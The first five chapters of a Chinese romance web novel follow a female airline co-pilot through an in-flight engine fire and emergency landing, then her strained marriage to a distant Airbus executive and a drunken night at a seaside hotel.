《风起时吻你[先婚后爱]》 1. 赫尔墨斯 《风起时吻你[先婚后爱]》全本免费阅读 “北京塔台下午好,海云7897重型滑行。” 下午5时,夏末白日疏懒地悬在半空,地面翻腾着滚滚热浪。 一架搭载280名乘客的A350-900飞机不紧不慢地驶入大兴机场最靠近航站楼的35R跑道。其他排队等待起飞的中型机纷纷为这个戴着墨镜的庞然大物让道,唯恐遭到它强大的尾流冲击。 这架重型机在左座机长熟练的操纵下完成一个漂亮的转弯。白色机身在阳光下反射出凌厉冷峻的光芒。 机头对准在跑道中心线上,一切蓄势待发。 塔台传来讯号:“海云7897重型,地面风2805m/s,跑道35R可以起飞。” 黎念坐在右座,负责监视飞行和通讯。 待她复诵管制员的指令后,机长向前推动油门杆。引擎的轰鸣声逐渐加大,整个机身开始颤动。 “灵活油温度49,速度基准,自动油门模式蓝色。” “推力设定100节。” “V1。”冰冷的机器男声提示现在到达起飞决断速度。 “抬轮。” 一声令下,飞机迅速挣脱地面,像泅泳浅滩的白鲸终于找到了大洋,姿态优雅地一跃而起。 起飞堪称完美。 黎念不禁松了口气。 今天她本应该在家休息,却被公司临时“抓飞”,还凑巧遇上了自己改装A350机型之后的师父方荣华。 方荣华上世纪90年代从空军转业到民航,现如今是海云航空最资深的女性飞行教练员。她将在此次飞行中对机长进行考核评估。 虽然黎念不是考官的主要攻击对象,但她仍然不敢在自家恩师面前失误半分。 “海云7897,联系离场127.75,回基地请你吃饭可以吗?” 无线电里的男声再次响起,一字一句清晰可闻。 黎念偷偷瞄了一眼左手边那位头皮略显清凉的中年大哥。 没记错的话,他家闺女明年都要中考了。 很明显这位空管是冲着她来的。 海云公司旗下女飞行员绝非少数,但会开重型机的女飞除了即将退休的方荣华,也就只剩她这个独苗苗了。 管制员们都是何其敏锐的人才,在满天飞舞的电波里捕捉到带有“海云”“重型”字眼的女声简直轻而易举。 黎念收回眼风,勾唇一笑:“离场127.75,海云7897,再见不必了~” 清晰的咬字揉进去百转千回的娇俏声调,就像抛出去的鱼钩,乘着甚高频潜入地面的塔台里,把对方的心搅得七零八碎。 安全是民航事业的生命线,飞机刚离地的前三十分钟正是需要飞行员全神贯注观察情况的关键阶段。 总有人不知深浅。 她要是害得机长考核不合格,自己这辈子都休想放机长了,直接把终身副驾驶制度贯彻到底还差不多。 黎念闭眼默念一句“阿弥陀佛”,调整频率。 “进近下午好,海云7897跑道35R起飞了,通过2100上升高度3000。” 透过挡风玻璃往下看,四方田野散落着深浅不一的绿,仿佛失手打翻的水粉颜料缓缓流淌到天际线深处。旧时的乡村土路模糊缩小成孩童用粉笔随手画出的线条,歪歪扭扭地穿插田间。新建的高速公路可供八辆汽车并排驱驰,漆黑冷峻的柏油路面为这片古老温润的大地注入奔涌的新鲜血液。 黎念最爱从华北平原起降,这里的地形和她的家乡一样平坦开阔,总能让她的心情格外轻松。 - 飞机爬升过程中,机长感到有些口干舌燥,取来矿泉水浅抿一口。 “嘭——” 这时机舱外传来一声巨响,带给人的惊吓程度不亚于路边老式爆米花机的爆破。 驾驶舱随之震颤起来,整架飞机开始向右滚转。机长手中半瓶水在巨大的惯性下泼洒出来,打湿了衬衫胸口一大片布料。 “哎哟!”显然机长还没有从突发意外中回过神来,“怎么了?” 黎念眉头紧皱,注视着正中央的电脑屏幕发来的所有故障信息:“疑似左引擎严重损坏。” 机长立马变得严肃:“证实一下。” “不好,左引擎火警。” 飞机起火是飞行员所面临的最危险又不可预测的特情,处置稍有不慎就会导致必然的死亡。 1980年8月19日,沙特航空163航班飞行中突遇货舱起火,虽然成功折返,但机上301人全部因为吸入过量的高温浓烟窒息而死。1991年7月11日,尼日利亚航空公司2120航班轮胎过热起火,火势迅速蔓延,最后将全机261个鲜活的生命吞噬殆尽…… 黎念和机长不约而同对视一眼,全身神经紧绷起来。 机长迅速解除自动驾驶,改用手动操作稳定飞机。 不能再继续往前了,必须立刻返航。 “Mayday!Mayday!Mayday!海云7897重型,左侧引擎起火,意图返航北京,请求优先降落!” 警报声尖锐急促,像一把利剑反复刺穿颅骨。 ECAM新传来的警讯瞬间堆积如山,黎念险被冲昏头脑,不知该优先处理哪一条。 但理智还是占据了上风,她第一时间启动左引擎内部的紧急灭火器,然后屏息凝神等待命运的安排。 不一会儿,屏幕顶端的红色文字消失。 “证实火警解除。” 驾驶舱所有人不禁松了口气,接下来的问题似乎要比想象中好办许多。他们失去了一个发动机,但好在另外一个还能正常工作。 飞机在设计时充分考虑了单台发动机失效的因素。每半年一次的复训也都要求飞行员接受单发飞行的相关考核。对于他们来说,目前已经发生的特情无异于平时在模拟机上的训练内容,虽然可能是检查员心情不好故意挂人所设置的地狱模式。 黎念冷不丁想到曾经方荣华在后排“哪里亮了点哪里”的神操作。模拟特情难度之大,差点让她停飞四个月。 现如今师父依然坐在她的身后,情况却比当时更加严峻,因为她们的身后是一个个真切又鲜活的生命。 方荣华这时解开安全带,用食指点了一下黎念的后脑勺:“别分心。你做广播,我出去看看。” 她又看向机长,微微挑眉:“可以吗?” 即便拥有最高决策权,机长在最高级别的C类教练员面前也不敢置喙,乖乖点头。 黎念深吸一口气调整心情,打开机舱广播,竭力保持语气的平和:“女士们、先生们,这里是机长广播。很抱歉刚才让大家受惊了。您的航班……嗯……由于发生机械故障,需要立刻返航北京大兴。不过请您不用担心,我们全体机组成员会竭力保障您的出行安全,请坐在原位上保持安全带系紧。感谢您的理解与信任……” 很快方荣华回到驾驶舱,手扶在副驾驶的椅背上,身体向前倾。 她如实告知自己所见,十分冷静:“左引擎被炸碎,机翼出现几个破洞,同时还在漏油。” 黎念心中的猜想得到证实:“难怪电脑一直报错。” 方荣华颔首:“液压系统、电力系统应该都有不同程度的损伤。” “乘客都还好吗?” 方荣华陷入了沉默。 机长这时打断了两人的思绪:“在事态还没有变得更糟之前,我们得准备进场了。” - 下午6时20分,北京大兴机场。 进场交通尽数转移,离场航班全部取消。 航站楼西侧最长最宽的35R跑道已经留出足够宽裕的空间给那架挂出7700紧急代码的重型机实施迫降。 消防、救 2. 赫尔墨斯 《风起时吻你[先婚后爱]》全本免费阅读 前舱。 大多数乘客都在静静等候,当然也不乏那么一两个刺头。 “飞机都已经落地了怎么还不让我们下去?” “先生请冷静一下,等到地面处理好问题很快就会让您安全下机的……” “还要处理什么问题?磨磨唧唧的,我本来有几个亿的合同要去签,这下倒好,你们真是摊上大事了!” 男人身形矮小,张牙舞爪地要去够舱门上的手柄,却被安全员壮实的身躯挡住,嘴里骂骂咧咧。 乘务长一直恭敬站在旁边,用尽各种方法试图安抚他的情绪,脸上的职业笑容都快僵住了。 黎念刚打开驾驶舱门就看到这番荒唐的场景。脑子里蒙蒙一层雾荡开,她霎时找回了几分清醒。 乘务长事先提醒过,这个闹事的乘客是个白金卡会员,绝对惹不起。 要是不小心碰到他哪根禁忌的小神经,叫他怒发冲冠投诉到公司去,扣钱扣绩效都算是小事,更让人烦躁的是上面莫名其妙的谈话,每逢大小会议还要被拎出来公开处刑。 都飞到白金卡还这么无知,看来挨的毒打太少了。 黎念暗暗嗤了一声,换上另一副面孔摇曳生姿地迈步上前。 “先生您好,我是本次航班的副驾驶,您有什么诉求可以尽管和我提。” 男人循声转过头来,斜着眼将她上下打量了一遍,语气夹枪带棒:“刚刚那个老娘们就没把话说清楚,现在又来了个小娘们搅和事儿。怎么?这架飞机就只剩下一群女人主事了?怪不得出这么多岔子。” 他甚至还没有一米七二的黎念高,得仰着头才能和她对视。 黎念攥紧拳头,强行压制住心中蓬勃的怒火,笑得越发明媚:“先生,我很能体会您焦急的心情。” 她将安全员和他分开,缠上他的手臂低声婉语:“出门在外不就图个平安嘛,发动机故障还没有处理好,我们哪儿敢让您下去冒险呀?工作固然重要,但生命才是无价的。您就先消消火,我让乘务员给您倒点茶水。” 男人先是一怔,结果肉眼可见地不乐意了。 他万分嫌弃地拂开她,说出来的话更是腌臜:“好好好,发动机马上要爆炸是吧?把我们这些无辜的乘客困在这上边,是想让我们跟着一起陪葬吗?早就说过女人都是晦气东西玩意……” 对付这种无能狂怒的倔驴,没必要再好言好语。 “小张,执法记录仪开了没?”黎念凛眉瞥了旁边的安全员一眼,得到肯定的答复后,正色厉声道,“这位先生,大家都是成年人,要对说出来的话负责任。客舱里有监控,您再继续散播不当言论是要承担相应的法律后果的。” “呵,”男人不屑冷哼,“老子都要死了,还管什么法律。” 黎念怒极反笑:“这不就对了嘛。横竖都是死,为什么就不肯给自己攒点阴德呢?” 已经在鬼门关走过一遭了,什么规章制度、什么白金卡,全部都是狗屁。 “啪——” 她被强劲的掌风扇得一个趔趄,扶在墙壁上才得以站稳。 “等着吧,我这就去投诉你。”男人指着她的鼻子振振有词。 黎念耸耸肩,做了个“请便”的手势,撂下最后一句话便转头离去。 “外面已经部署了武警力量,只要机组联系求助,他们随时可以把你带走。奉劝你谨言慎行,不要再为难我的同事。” 她悻悻回到驾驶舱后,方荣华眼尖看到她那漂亮脸蛋上平添一个巴掌印。 “白便宜这种人活着。”方荣华啐道。 黎念晃了晃头,感觉颅内还有声音在嗡嗡作响。脸颊火辣辣地疼。 那个男人确实对她下了重手。 很快地面传来指令,那台发动机在大量消防泡沫的冲击下已被强行关停,燃油也已清除,可以下客。周兆林按下通话按钮,向乘务长传达这个令人振奋的消息。 客舱里掌声此起彼伏,混杂着撕心裂肺的哭与笑。 大多数乘客落地后看了新闻,才知道自己竟然在空中和死神擦肩而过。 寒意后知后觉从脚底升腾起来,如海啸般席卷颤栗的神经。有人还未踏出客舱便剧烈干呕起来,也有人双腿发软被人搀着走都使不上力气。 即便劫后余生,该做的程序上的工作还是要坚持下去。黎念等到清完舱才走下舷梯。舱门到地面不过两层楼的高度,她一步一步向下踩时竟感到前所未有的眩晕。 外面一直有记者在蹲守第一手的英雄机长素材,看到三个飞行员现身后一拥而上,把舷梯口围得水泄不通。 周兆林是个重度社恐,遇到这种大场面连忙遁地逃走。黎念对着镜头简单打了个招呼,也跟着一起钻进机组车,把自家师父晾在原地。 反正她经常被采访,早该习惯了嘛。 - 直到坐进车里,黎念才有心情看手机。 从来没有这么多人找她,微信和未接电话雪片一般堆满了整个通知中心。 她大致翻了一下,甚至有平时完全不说话的人带着猎奇心理跑过来问她是不是出事了。 即便如此,也没有看到想要的名字。 黎念点进和那个人的对话框里,最新的聊天记录还停留在上个月,是不痛不痒的问候。 她哑然失笑,眼里闪过一丝嘲讽,攥着手机的指节泛着惨白,心里若有把生锈的刀在钝钝研磨,粗砺的刀锋割出一道道深浅不一的缭乱血痕。 明明是名义上最亲密的人,却在生死攸关之际连那些看热闹的人都不如。 黄丽娟倒是一下子打了三十几个夺命连环call,很符合她平时的作风。 黎念想得出神之际,电话又呼过来了。她按下接听:“喂?妈。” “先人啊!你终于接电话了……再不答应我都以为你要死求了……” 黄丽娟说的是方言,这让黎念恍若闻到了潮湿又呛鼻的辣椒味道。看来她还不至于五感全失。 “这不活得尚好吗?四肢健全,神志清醒。” “死女子还有心情开玩笑,你要真的拐了,我咋个和你老汉交代……你老汉本来就因为地震走得早,到时候只剩下你妈一个人还有撒子活头嘛……” 黎念耳朵被刺得有点痛,于是把手机拿远了一点。她还未来得及开口安慰黄丽娟,又被劈头盖脸一顿输出。 “我当时就喊你不要去开飞机,你硬不听。你个小女娃娃为啥要去做那么危险的事情嘛。飞行员又忙得很,一年到头都见不到小谢几面,你哪天死了人家都不晓得。” “妈!”黎念被这过于直白的言语狠狠戳中脊梁骨,整个人变成炸毛的猫,欲哭无泪,“我刚刚差点真就出事了,你不要咒我嘛!” 她四处张望一圈,发现其他同事都在各忙各的,显然对这里的动静不感兴趣。 “我哪里在咒你了,我说的难道不是事实吗?你都结婚两年了,连个蛋都下不出来。要我看,这回你就该把工作辞了,安安心心跟着小谢去法国。到时候我都可以把铺子关了帮你带孙儿……” 黄丽娟一贯思维跳跃,但最后的话题总会落脚在催生上。 “跟你说过无数回了,我不会辞职,也不想生,”她连忙打断对方,“我跟他还没有到那种地步。” “难道不都怪你吗?人家小谢好不容易回来几天,结果你又出差了。不晓得哪个年三十还在天上飞,两个人紧到都凑不到一起。小谢还懂事些,逢年过节经常发红包给我,你娃天到晚连电话都打不通。” “是是是,你女婿什么都好。” “你答应我,必须辞职!不准再飞了!” 黎念简直和黄丽娟话不投机,随便敷衍两句便把她打发走了。 挂断电话之后,一口闷气还郁结于胸,怎么都揉不下去。 黎念咬着下嘴唇思索片刻,点开手机自带的通讯录,往下一直拉到“X”开头的分组。“谢驰”这个名字正静静地躺在名单的顶端。 她一拧眉。平时 3. 赫尔墨斯 《风起时吻你[先婚后爱]》全本免费阅读 黎念再次见到谢持,简直不敢相信自己的眼睛。 他瘦了很多,或者说,变精壮了。 棱角分明的面庞上,五官一如既往地如工笔画般精致,甚至更加冷峻立体。 他穿了一身黑。短袖t恤被他宽厚的肩膀撑开,衣料紧贴着山峦起伏般遒劲的胸膛和双臂流淌到劲瘦的腰部,再往下就是修长有力的双腿。甚至还留了长发,微微烫卷,充满上世纪的不羁复古之感。 完全就是她的菜。 谢持一手插在裤兜,一手端着高脚杯,朝着众人信步而来,杯中的深棕色液体随着动作一摇一晃。 “哟——极品帅哥——” “这是金城武还是木村拓哉哦。” 大家开始起哄。 这个出场方式让全场焦点都集中在他身上,就连宴会真正的主角也难掩兴奋。 刘斯扬一把揽住谢持的脖子:“这么晚才来,给我使劲喝!” 谢持摸出长条形的车钥匙,推辞道:“开了车,喝不得。可乐代酒可以不?” 他离开老家近十年仍旧乡音未改,让老同学们感到分外亲切。看来他也不像传闻那般高傲无情。 刘斯扬睨了他一眼:“滚,你当代驾是摆设吗?” 谢持微挑眉毛,戏谑道:“你给我报销?” “……” “新郎官不要那么抠哦,代驾钱就该你出。”旁边有人看热闹不嫌事大。 “好嘛,”刘斯扬若有所思,手上力度加大,把谢持桎梏得更紧了,“你娃必须干了这杯,不然就该喊我老汉。” “Dégage!”这回轮到谢持无语了。 他被灌了满满三杯才姑且被放过。 刘斯扬被新娘拉着去下一桌之前嘴里还嚷嚷着晚上再比试。 等到这场闹剧终于消停下来,谢持扶着桌子瘫软坐下,眼里的光已经散乱成了星星点点。 他刚好坐在黎念旁边的空位上,和她挨得有些近。准确来说是摩肩接踵的程度。 黎念呼吸一滞,清晰感受到他的温度瞬间将她锁紧。 她撑着头回看过去,谢持身上更多的细节一览无余。比如他耳垂挂着银质环形耳钉,原本苍白的皮肤晒成了健康的小麦色,唇上胡茬泛着淡淡的青,眼下平添一抹微醺的红。 应是察觉到了逐渐升温的视线,谢持扭过头来看她,微眯着眸子:“我……平时不这么喝的。” 黎念“哦”了一声,尾音拖得很长。她用筷子拨开覆盖在鱼肉上面的佐料,夹了一小块肉放到碗里,心不在焉地把它捣碎。 外面在喧闹,大家都对谢持的现状充满好奇。其实她想问的也有很多,但话到嘴边却总被吞进肚里。 “学神在哪里高就呢?” “谈不上高就,在空客公司里面打杂。” “豁锤子,你还打杂啊,怕不是去当人家老总的。” “你现在住哪儿呢?” “图卢兹。” “啥子东西?” “在法国南部,一个不太出名的小城市。” “嚯哟,都超到法国去了。” “你老汉做那么大的生意,你咋不回来继承家产喃?还跑那么远去遭罪。” 谢持没有回答,只是礼貌笑笑,眼神染上一层不易察觉的冷淡疏离。 有女同学对他的情感生活更感兴趣:“谢持,耍朋友没呢?” “没有,我一直单身。” “不得哦!”女同学惊声尖叫。 “他以前那个批样子找不到女朋友我都信了,现在咋可能没马子嘛。” “这你们就不懂了哇,说是不耍朋友,人家国外流行的是‘dating’,我们阔少爷肯定天天跟那些金发大波妹盖着铺盖纯聊天嘛。”男人说出来的话简直不堪入耳。 谢持教养极好,自知没必要和人计较,便顺着对方的意思摆摆手说道:“我吃不来西餐,日思夜想的都是家乡菜。” 此话一出便把众人逗乐了,大家怪声怪气地跟着起哄。 “耶——喜欢本地女娃娃嗦——” “我们这儿不就有个现成的。” 黎念被旁边的人用手肘顶了顶,她反应过来是在说自己。被放大的感官可以清晰体察到谢持朝她投来的灼灼目光。 “诶,黎念你是不是也没男朋友。”刚才八卦谢持的女生将矛头指向她。 黎念把头发往耳后拢了拢,露出尖尖的脸,唇角漾开一抹明丽的笑:“刚分手,遇到了个渣男。” 其实情况比她描述的更复杂一些。 她的前男友也是飞行员,没说清楚自己男女通吃的取向,在兰桂坊的gay吧里跳舞被黎念当场捉住,闹得整个海云蓉城分公司上下皆知。 黄丽娟本就催婚催得紧,还很抵触飞行员这份工作,这下更不好交差了。 黎念最近在纠结要不要响应总公司号召转场大兴基地去。 眼不见心不烦。 “那你们两个可以试一下啊,将将好都是单身。” “耶?空客是不是卖飞机的哦?一个开飞机一个造飞机,简直登对得很嘛。” 谢持身上的气息一凛:“还是不要开这种玩笑了。” 他眸子幽深低垂,看不出情绪。 黎念闻言,心里顿感五味杂陈。 她将酒杯里剩下的窖龄酒仰头一饮而尽,捏着杯子沉吟许久,然后掐住谢持的下巴,将他的脸扳过来面对自己,像是要用灼热的眼神烧穿他:“谢持,为什么不试?” - 谢持最终没有履行和刘斯扬拼酒量的约定。 保时捷卡宴的后排,黎念跌倒进红色真皮座椅里,纤细的手腕被大掌锢住动弹不得。男人的吻携着热浪席卷而来。 神经开始剧烈震颤,耳畔回荡着城池攻陷的轰鸣。她就像一颗空游无所依的陨石,瞬间被恒星引力捕获,在与气层激烈的缠斗中拖着长长的尾迹坠入光与焰。 从不爱喷香水的她被冷冽酸涩的柑橘味彻底侵占。 “笃笃笃——”突然黎念身后响起敲窗声,听起来很是急切。 谢持支撑起上半身,但仍将黎念压制其下。 他半开窗户往外一瞥,见到外面站着一个戴着头盔、套着反光背心的男子,冷冷丢出一句话:“左边旋钮向右拧,直接开走。” 然后在代驾上车之前将她扶起,佯装无事发生。 黎念直到汽车停在别墅车库里还是恍惚的。 她明明只是口嗨了那么一下,结果就在众目睽睽之下被谢持拽着离开宴会厅,还上了他的车,到了他的家。 这片高端住宅区藏在县城的边缘,黎念从家出发前往机场时经常路过。它的售楼部靠近马路,仿造枫丹白露宫而建,矗立在方圆十里的荒野里有种被时间尘封的静谧与孤独。 那时她总以为这里是烂尾楼,如今她才知道黛瓦灰墙完全隔绝的是两个世界。 谢持举家已迁至北京,但仍在老家留下了这处房产,方便过年探亲等事宜,也方便了他现在带女人回来上床。 她被摔到睡了一夜没来得及叠的被子上。即便在午后光线最刺眼的时候灯也是打开着的。 金属撞击的声音让她恢复几分理智,她伸手去拦他:“谢持……我们还是不要……” 谢持脱掉t恤之后,肌肉轮廓更加生动具体,前胸大面积的黑灰色纹身格外惹眼。额前垂着一缕发丝正好挡住眼睛,稀释了眸底的阴鸷。 他跪立在上方,顺势按住她的两只手固定在头顶,面色晦暗不明:“你确定?”上肢用力时,青筋微微凸起,仿佛能看到血液在加速流动。 美色当前,黎念咬了咬牙,不再迟疑。 她醒来的时候,太阳已经沉没在地平线以下,天空被幽静的蓝色笼罩。她还是未着寸缕,在开着冷气的房间里不得不 4. 赫尔墨斯 《风起时吻你[先婚后爱]》全本免费阅读 回到公司后,方荣华主动提出来要送黎念。 她的车停在地下停车场里,是辆黑色的奥迪A6L,对于这个级别的飞行员来说实在有些低调。 黎念帮忙把两个飞行箱都装进后备箱,然后打开车门。 香薰的桂花味扑面而来,厚重而令人安心。车内无多杂物,只有座椅上放着一把折叠式晴雨伞。 方荣华随手把伞扔到后座上,探着头看她:“愣着干啥?快上来呀。” 黎念第一次以乘客的身份坐在师父的汽车副驾。她把安全带系好后,双手搭在双膝上,整个人显得局促不安。 面前空荡荡一片,只看得见车灯投影在对面墙壁上迸发出来的光影。 方荣华按下启动键,挂上倒档松开手刹。 黎念紧抓着西裤布料,闭眼脱口而出:“启动前检查单,停留刹车解除。” 方荣华奇怪地瞥了她一眼,伸出手指往她额头一弹:“姑娘,病得不轻呐。这是汽车。” 黎念吃痛地揉了揉额头:“师父您坐旁边儿我容易紧张。” “……” 汽车驶出停车场,穿过崭新的柏油马路,上了高架桥。 “对了,你家住哪儿来着?我只记得好像在亦庄。”方荣华问道,朝着北京城区转动方向盘。 黎念靠在椅背低声道,嘴角还挂着寡淡的笑:“我就不去那边了,您顺路把我捎到南站可以吗?” 在那里会控制不住去胡思乱想关于谢持的一切。 所以她临时买了一张深夜到秦皇岛的高铁票,逃到自己的舒适圈里。 “想回老家啦?” “嗯……”黎念撒了个谎。 “挺好的,家人肯定担心着呢,”方荣华颔首道,“我要有这么漂亮个闺女,心疼都来不及。” 黎念讪讪一笑,苦楚像海潮一般涌上来,蜇得支离破碎的心脏硬生生地疼。 “你老公呢?他在国外听说这件事没?”方荣华继续问道。 公司知道黎念婚姻状况的人不多。要不是亲眼看过她的档案,这些老领导无论如何也不会相信她竟然已经结婚,对象还是空客总部最年轻的亚裔高管。 黎念拿起手机,屏幕自动亮起。通知中心空空如也,谢持还没有给她回电话。 “他……应该在忙吧。”话说到一半便泄了气。 方荣华不再多问,她已经察觉到了黎念状态不对劲。 汽车行至南三环西路辅路的时候有些堵,正值下班的晚高峰。黎念环顾四周,发现这片都是住宅区,幢幢高楼灯火通明。 而属于她的那一扇窗却从未亮起。 - 黎念穿着飞行员制服现身于铁路系统属实有些惹眼。 路人不免议论纷纷。 “咦?她好像海航出事那个女飞行员……” “厉害了。” “真人也这么好看啊。” 现在自媒体太发达也不全是好事,行走在外难免掉层皮。 黎念刷身份证进站以后,连忙挡着脸去卫生间换了一身行头。好在按照原本的飞行计划她需要在外场过夜,所以行李准备得比较齐全,甚至连卷发棒也带上了。 等到她一身日常装扮重新出现在二楼候车大厅,已是无人在意。 南站一如往常熙熙攘攘,无数整装待发的列车将要把疲惫的上班族送回京外的家。对于人们而言,这不过是八月底再平常不过的工作日的末尾,新闻上发生的一切总是离自己那么遥远。 那场事故发生得太突然,黎念根本没来得及吃机组餐。而她又一直神经紧绷,忘记了饥饿的感觉,直到被人推搡才反应过来自己的身体在强烈抗议。 她就近到Tims咖啡买了一份贝果用以充饥,然后趁着旁人去排队登车赶紧占据珍贵的座位。 黎念解锁手机,例行公事般查看新消息通知。 晋书艺:【姐!!!你上热搜了!!!】 黎念经常打错别人的名字,理由是懒得往后翻,能看懂就行。 晋姝意是两年前入职的空乘。两人结缘是因为曾经住在基地的同一栋宿舍楼里,经常打照面。 一开始晋姝意以为黎念是资历更深的空乘,见了面就亲亲热热地挽着她的手臂叫“姐”。后来黎念穿着三道杠出现在凌晨的班车上,着实把她瞌睡都给吓醒了。 还好两人年龄差距不是很大,共同话题也多,一来二去便熟稔了。 晋姝意发来的每个字她都认识,连在一起却看完全不懂。 什么叫“她”上热搜? 黎念一脸疑惑地打开微博,仔细比对每一个热搜,最终在底端发现了勉强和自己沾边的内容。她点进那个叫做#海云美女飞行员#的词条里。 第一条内容是她在机场接受媒体采访的视频。就这么几秒钟也能被人盘包浆。 联想到方才在进站口的境遇,黎念连忙从包里摸出墨镜戴上。 她继续往下翻,看到之后的内容直接吓得把手机一扔。不知道是谁把她在其他社交平台上开的马甲号扒出来,贴上她在世界各地游泳、潜水的照片。 黎念天生水性极佳,从小就喜欢水上运动。虽然家里经济条件不算宽裕,但她的父亲很支持她发展这个爱好,给她报名游泳培训班,还鼓励她去参加各种比赛。 黄丽娟一开始很嫌弃黎志明乱花钱,自从黎念捧回全市青少年游泳比赛的200米自由泳一等奖之后,她也不再发表反对意见了。 后来黎念专门注册了一个账号,主要发自由潜相关内容,偶尔也会剪辑一些旅游vlog,几年间攒下了十几万粉丝,算得上小有名气的网红。她没有签约MCN机构,更不敢暴露自己的真实职业,别人权当她是个有钱有闲的白富美。 现在倒好,一切全完了。 黎念虔诚地念出“救苦救难观世音菩萨”,眼角滑落两行清泪。 她不怕被白金卡旅客投诉,但她怕辛辛苦苦经营多年的账号被公司回收,连这点小副业都没法干了。 不瞒黄丽娟说,她有些时候真的很想辞职…… 广播提示前往北戴河的列车开始检票。 她给晋姝意发了一个猴子无语的表情包,满腔悲愤地提起行李走向检票口。 - 现在正值秦皇岛的旅游旺季,黎念到了酒店才得知其他房型已被提前订完,只剩下最贵的海景庭院房还可以入住。 黎念眼睛滴溜溜一转,默默在心里算了笔账。如果真的要住,那她这半个月的大四段都白飞了。现在又是月末,手头结余的资金难免有些紧张…… 她双手合十,眼眸中闪烁着晶莹的光泽,对着前台服务生娇声恳求道:“帅哥~您家之前开业的时候还邀请过我来做测评推广,能不能给点优惠呀?” 手指绞在一起,显得紧张不安。 对方并不吃这套,一副公事公办的模样:“抱歉小姐,这是上面的定价,我也无权做主。您需要和我们客户经理谈一谈吗?” “别别别——”黎念慌了神,连忙摆摆手,嘿嘿一笑,“大晚上的,不叨扰咱领导了。” 她忿忿咬着食指,开始思考撤退的可能性。 无非就是丢人了一点,好像也不亏。 “您还需要办入住吗?”服务生疑惑问道。< 5. 赫尔墨斯 《风起时吻你[先婚后爱]》全本免费阅读 黎念想也没想就挂断电话,然后关机。 她拍拍长裙后面沾惹的沙子,提着鞋和包一步一步深陷在沙滩上,朝着身后亮灯的建筑缓慢挪去。 酒店大堂旁边是一家日咖夜酒,同样只对住客开放。 店内装修主打清冷风,但气氛绝对算不上冷清,卡座里满满当当全是深夜前来消遣的饮食男女。有人耳鬓厮磨低声交谈,偶尔发出含蓄的笑声。也有人倚在落地窗前接吻。舞台角落的年轻女人烫着狂野张扬的拉美卷,正在施坦威钢琴上弹奏随性明快的爵士乐。 黎念推门而入时,忘记自己还赤着脚。 这引来了一些意味深长的目光,但她并未留心。 她拉开吧台前的高脚凳坐下,把手里的凉拖鞋一扔,再踢到凳子下面。 “美女想喝点什么吗?”穿西装打领结的服务生一个滑步闪现到她跟前,手上还擦拭着玻璃杯。 黎念的视线在酒水单上逡巡片刻。 这些特调鸡尾酒的名字大多起得晦涩难懂,如果没有下方的英文名和配料表,根本让人无从下手。 最后锁定住了“爱人”二字,不仅因为它简洁明了,而且外文翻译采用的是法文。 ——“Monamour”。 她按着最标准的法语发音念了出来。 服务生本来盯着她的脸出神,余光隐约察觉到她的红唇一开一合像是说了些什么,连忙惊恐地道歉。 “我要一杯‘爱人’,谢谢。”黎念耐心重复一遍,附赠一抹未饮先醉的笑容。 “好的,您稍等。” 她扫了一眼配方。基底是朗姆酒和草莓百利甜,混合以椰乳。看起来这款“爱人”既有奶油的甜腻,也有酒精的刺激,像极了正常恋爱应该有的口味。 淡粉色液体被盛在玛格丽特杯里,杯壁上面还有一只糯米纸做成的蝴蝶振翅欲飞。 黎念端起来轻轻抿了一口,和想象中的味道如出一辙。 身侧袭来一阵轻风。 “Mizuwari,谢谢。” 黎念闻声向右看去。 一个看起来约莫30岁左右的男人落座在她身旁。他穿着得体精致,腕上戴着一块价格不菲的江诗丹顿钢带款手表,发型亦梳得一丝不苟,在此地浓厚的度假氛围里显得有些格格不入。 “嗨。”男人先主动打招呼。 黎念弯唇一笑,颔首致意。她把一侧头发撩拨至耳后,栗色长卷发顺着身体曲线垂落在纤细的腰间。昏黄的灯光洒落在身上,使得原本就精致的侧脸轮廓较之白日的凌厉更添几分柔美。 “虽然这种搭话方式有点老掉牙,但是我觉得我应该在哪里见到过你。” “大家都爱这么说,”黎念把蝴蝶取下来放在手心里把玩,故意和人唱起了反调,“或许因为我是大众脸吧?” “好看的人都是相似的。” 这种对话一度让黎念有些乏倦。但她只是浅浅笑着,和男人碰杯,静候对方的下一步攻势。 等待合适的时机,完美地拒绝。 “其实我想说的是,海云7897,是你吧?黎念。” 他把“7”这个数字读作了“拐”。 这是国内航空通信的专业发音方式,为了避免在复杂的无线电环境中造成误读、误听。 黎念玩味的笑容登时凝固:“您是同行?飞友?” 总不能是塔台那个约她吃饭的管制员吧……追她追到外省来,也太有毅力了。 “这不重要,以后有机会知道的,”男人饮下杯中一半的威士忌,举起酒杯向她示意,“但愿那个时候你还能保住这份工作。” “?” 这是明晃晃的挑衅!黎念顿感胸中升腾起一簇无名火。 “迫降直播我看了,很精彩,和动作大片一样惊险。不过—— “没出事只能说是运气好。其实有很多技术问题都是可以避免的,比如你们太着急拉平导致重着陆,差点把飞机都摔了,这和PM的错误指令脱不了干系吧。 “开重型机这个水平未免也太、差。” 男人将剩下的酒一饮而尽,然后双手插袋潇洒转身离开。 不知何时,台上组成了一个小型爵士乐队。有了贝斯和鼓的加入,音乐变得更富层次感。女钢琴师忘情地站起身来,玩起了即兴炫技。 黎念呆呆注视着那个男人渐行渐远的背影,攥紧了拳头,仿佛每一个钢琴音符都重重砸落在自己的头顶,脆弱不堪的骄傲在此刻风化崩解。 民航的安全飞行时间记录仍然在不知疲惫地向前滚动,或许这件事发生在所有飞行员身上,最后的决心都只有一个。 尽人事。 甚至还会有人可以表现得更加无懈可击。 ——她有什么资格把自己当作救世神。 牙龈咬得有些发酸,她转身向调酒师招手:“来一杯highball。” 黎念一杯接一杯地捱到了后半夜。之后再有人来搭讪,都被她骂骂咧咧赶走。 周围浮动的人影渐渐散去,她的神志也被酒精捧向了云端。直到破晓时分,一轮红日从海面上缄默着升起,她才半梦半醒着被侍应生搀扶着回房间。 整个房间灯火通明。取电的卡槽里竟然已经有一张房卡。 黎念来不及思考是谁侵入了她的领地。她被突如其来的强烈光线照得不太舒服,微睁着醉意惺忪的眸子,在墙壁上四处摸索灯光开关,却苦寻无果。 “小度小度,关灯。”迷糊中带着几分愠意。 语音助手的回应并未如愿响起,这里不是她在亦庄的家。 取而代之,是熟悉又陌生的男声。 “你竟然还有心情喝这么多。” 这个声音黎念认得,即便醉后不知天在水,她也清楚地认得。谢持的声线低沉得就像深夜海潮,每每漫灌进她的鼓膜,都裹挟着粗细不同的沙砾。 眼睛已经适应了房内的光亮,黎念把腕上挎着的LV老花链条包随手扔到地板上,朝着落地窗晃晃悠悠地飘过去。 她明明没喝多少,怎么偏偏就出现了幻觉。 